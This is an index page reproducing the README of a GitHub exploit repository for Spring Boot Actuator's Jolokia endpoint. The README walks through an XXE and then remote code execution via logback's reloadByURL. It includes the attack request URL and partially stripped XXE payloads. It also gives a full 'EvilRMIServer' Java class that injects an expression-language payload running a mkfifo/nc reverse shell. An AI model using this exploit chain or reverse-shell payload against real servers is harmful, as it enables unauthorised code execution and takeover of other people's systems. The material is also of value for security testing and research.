Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/ba0zi/Spring-Boot-Actuator-Exploit
Spring Boot Actuator (jolokia) XXE/RCE
https://github.com/ba0zi/Spring-Boot-Actuator-Exploit
Last synced: 21 days ago
JSON representation
Spring Boot Actuator (jolokia) XXE/RCE
- Host: GitHub
- URL: https://github.com/ba0zi/Spring-Boot-Actuator-Exploit
- Owner: ba0zi
- Fork: true (mpgn/Spring-Boot-Actuator-Exploit)
- Created: 2019-10-14T03:00:04.000Z (about 5 years ago)
- Default Branch: master
- Last Pushed: 2019-03-10T10:58:32.000Z (almost 6 years ago)
- Last Synced: 2024-08-05T17:30:41.459Z (4 months ago)
- Size: 8.79 KB
- Stars: 22
- Watchers: 2
- Forks: 5
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - ba0zi/Spring-Boot-Actuator-Exploit - Spring Boot Actuator (jolokia) XXE/RCE (Java)
README
# Spring Boot Actuator (jolokia) XXE/RCE
Information and payload from the following article: https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Tested on Spring Boot Actuator < 2.0.0 and Jolokia 1.6.0.
If you have access to the following ressource `/actuator/jolokia` or `/jolokia` with Spring Boot Actuator and the following ressource: **reloadByURL**, this writeup can help you to exploit an XXE and ultimately and RCE.
### Setup the environment:
```bash
git clone https://github.com/artsploit/actuator-testbed
cd actuator-testbed
mvn install
mvn spring-boot:run
```
### 1. The jolokia XXE
If the action **reloadByURL** exists, the logging configuration can be reload from an external URL: http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml
The XML parser behind logback is SAXParser. We can exploit this feature to trigger an XXE Out-Of-Band Error based using the following payload:
```xml
# file logback.xml from the server 127.0.0.1:1337
%remote;%int;]>
&trick;
```
```xml
# file file.dtd from the server 127.0.0.1:8080
">
```
The server responds with an error and the content of the file `/etc/passwd` is directly contained in it:
### 2. Jolokia RCE
Exploiting an XXE is always nice but a RCE is always better.
Instead of loading a _fake_ XML we can send a legit XML configuration file to logback and fully exploit the feature.
1. We ask to jolokia to load the new logging configuration file from an external URL
2. The [logging config](https://logback.qos.ch/manual/configuration.html#insertFromJNDI) contains a link to a malicious RMI server
3. The malicious RMI server will use a [template expression](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) vulnerability to execute code on the remote server
> In other words, JNDI is a simple Java API (such as 'InitialContext.lookup(String name)') that takes just one string parameter, and if this parameter comes from an untrusted source, it could lead to remote code execution via remote class loading.
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
Content of the logback.xml file:
```xml
```
Since my JDK is > 1.8.0_191 it's not possible to directly execute code using the RMI Service, so instead I will use this technique: https://www.veracode.com/blog/research/exploiting-jndi-injections-java
Then the next step is to create a vulnerable RMI service:
```java
import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 1234 >/tmp/f']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("jndi", referenceWrapper);
}
}
```
pom.xml to compile this project:
```xml
4.0.0
org.springframework
RMIServer
0.0.1
org.springframework.boot
spring-boot-starter-parent
2.0.0.RELEASE
org.springframework.boot
spring-boot-starter-web
1.8
```
Then when the two malicious servers are UP we can call the ressource ReloadByURL:
http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:1337!/logback.xml
Then the template expression is executed and you get a reverse shell:
## Ressources:
* https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
* https://www.veracode.com/blog/research/exploiting-jndi-injections-java
* https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
* https://github.com/artsploit/actuator-testbed
* https://xz.aliyun.com/t/4258